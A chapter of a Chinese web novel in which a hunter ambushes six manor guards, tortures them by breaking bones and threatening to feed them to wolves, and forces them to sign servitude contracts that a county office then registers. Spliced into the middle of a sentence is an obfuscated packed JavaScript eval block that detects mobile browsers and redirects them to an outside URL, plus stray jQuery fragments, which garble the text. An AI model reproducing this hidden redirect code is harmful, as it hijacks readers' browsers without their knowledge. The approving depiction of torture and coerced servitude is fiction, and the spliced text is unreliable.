后山那片新开垦的坡地旁,搭着几个简陋的窝棚,但里面一个人也没有。
而距离窝棚不远处的山林边缘,隐约有几点微弱火光晃动,正是那六个侯府护卫。
他们似乎刚搜寻到附近,正低声商议,语气颇为烦躁。
“……看来那五个废物真不在这儿难不成卷着钱跑了?”
“总不能是被人杀了吧!”一个吊眼的男人压低声音。
一个圆脸的少年赶紧摇摇头,说道,“应该不能。小姐说了,若若小姐的相公是个猎户,那些日子正好受了重伤。他没有能力。”
“啪!”
一个耳光在这深夜的山脚炸响。圆脸少年被人狠狠扇了一巴掌!
“谁是你小姐?!说话注意点!林若若已经不是侯府嫡女了,她现如今就是个农妇!记住了没有?!”一个黑脸大汉吼道。
“都闭嘴!”看样子,一个像是小队长的男人说话了,此人额头有一道疤,目光凶狠。
“头儿,那接下来怎么办?回去怎么跟小姐说?”
“说个屁!再往前找找,找不到……找不到也得带点‘东西’回去交差!那个村妇不是住山下吗?大不了……”
阴狠的话语尚未说完,破空之声骤响!
“嗖!啪!”一枚尖锐的石子精准地打灭了其中一人手中的气死风灯,紧接着又是几下,另外两盏灯也应声而灭!
“谁?!”护卫头领惊怒交加,呛啷一声拔出了佩刀。
其余五人也慌忙亮出兵刃,背靠背围成小圈,紧张地望向黑暗。
回答他们的,是两道如猛虎下山般扑出的黑影!
赵长风率先发难,猎刀在月光下划出一道冰冷的弧线,直取那头领握刀的手腕,又快又狠!山根则闷吼一声,枣木棍带着风声横扫向最近两人的下盘,势大力沉!
惨叫声、金属交击声、怒骂声瞬间打破了山夜的宁静!
这六个护卫虽有些本事,但如何比得上赵长风这自幼在山林搏杀中练就的猎人身手,以及山根那一身蛮力和不要命的打法?
更兼赵长风心中有滔**意,出手毫不容情,专挑关节、要害,力求速战速决!
不过盏茶工夫,战斗便已接近尾声。
六人倒了一地,呻吟不止,兵器散落。
那头领手腕被赵长风一刀背敲得骨裂,刀已脱手,被赵长风一脚踩住胸口,动弹不得。
山根也撂倒了两个,正用粗绳利索地将人捆起。
甲一五人也听说有人来寻仇,都想表现一下,因此征得梁石的同意,也各个拿着棍子赶来。
此刻,看着这宛如煞神临世般的赵长风和山根,吓得大气不敢出。现在他们才知道,当初赵长风受伤,确实是对他们手下留情了。
赵长风扫了他们一眼,目光如冰:“认识他们?”
甲一哆嗦着点头:“是、是何小姐院子里的护卫……赵、赵爷,我们真不知道他们会找来啊!上次之后,我们再没跟那边联系过!”
“量你们也不敢。”赵长风冷声道,不再看他们,目光落回脚下挣扎的头领,“何美美派你们来的?目的是什么?”
那头领倒也硬气,虽受制于人,仍狠狠啐了一口:“要杀要剐悉听尊便!休想从老子嘴里……”
“咔嚓!”赵长风脚下微一用力,伴随着清晰的骨裂声和一声凄厉的惨嚎,那头领的肋骨至少断了两根。
“我不喜欢听废话。”赵长风声音平静,却让人心底发寒,“说,或者,我让你尝尝被野狼一口一口撕碎的滋味。这山里,饿狼不少。”
森然的杀意和毫不掩饰的残忍手段,彻底击溃了这些平日里在侯府作威作福的护卫的心理防线。
他们不怕死战,却怕这种冷酷到极点的折磨和葬身兽腹的下场。
很快,那个圆脸少年招了:
确是永平侯府千金何美美小姐私下派他们来的,任务是找到之前那五人,若已失手,则伺机“处理”掉林若若,至少也要毁了她的容貌或清白,务必让其痛苦不堪。
而且,何美美承诺事后必有重赏,并会帮他们抹平痕迹。
赵长风听着,眼中的寒意几乎凝成实质。
好一个毒妇!
“签了它。”赵长风从怀中掏出一叠提前写好的**契和印泥,扔在其中一个还算完好的护卫面前,“签了,按手印
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090176|195428||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,从此你们就是逃荒落难、自愿**为奴的流民,名乙一至乙六,在此开荒赎身。不签……”
他顿了顿,目光扫过那个被打断手腕、疼得脸色惨白的头领,以及另一个眼神闪烁、似有不甘的护卫,“不签,或日后敢有异心,他就是榜样。”
话音未落,他手中柴斧猛地挥下!
“啊——!”凄厉至极的惨叫划破夜空,那不甘的护卫一条小腿以一种诡异的角度弯折,显然骨头已被敲断。
赵长风面无表情,像拖死狗一样将他拖到一处陡坡边,看样子竟真要做那“喂狼”之举。
“我签!我签!!”剩下的人魂飞魄散,哪还敢有半分犹豫,连滚爬爬地扑到**契前,哆嗦着手写下歪歪扭扭的名字,重重按上鲜红的手印。
那头领在剧痛和恐惧之下,也终于屈服。
赵长风仔细收好六份**契,又让山根和甲一等人将这六个新“乙”字辈伤者简单包扎,抬进窝棚看管起来。
断腿的那个,赵长风终究没真丢去喂狼,但也未给予好药,只让甲一随便找了点草药敷上,能否熬过去,看他自己造化。
“山根,你辛苦点,今晚盯着他们。明天一早,我带他们去县衙备案。”赵长风拍了拍山根的肩膀。
“风哥放心,包在我身上!”山根重重点头。
天刚蒙蒙亮,赵长风便带着六人的**契,以及作为“见证”的甲一和山根,径直去了县衙,还是去找了捕头王朗。
王朗上次回到家中,才知道赵长风往家里送了东西,心下感动,这次自然也很痛快。
赵长风还是那套说辞:逃荒来的难民,活不下去了,自愿**给赵长风为奴,开荒种地,求个活路。**契齐全,手续完备。
县衙书吏见又是赵长风,且这次人数更多,伤势也更“新鲜”,心下嘀咕,但面上不显。
这年头,流民**求活并不罕见,主家“管教”下手重些也时有耳闻,只要手续齐全,没人会多管闲事。
更何况,赵长风如今在县令那里也算有点印象,再加上有王捕头作保。
于是,备案、登记、按印,一气呵成~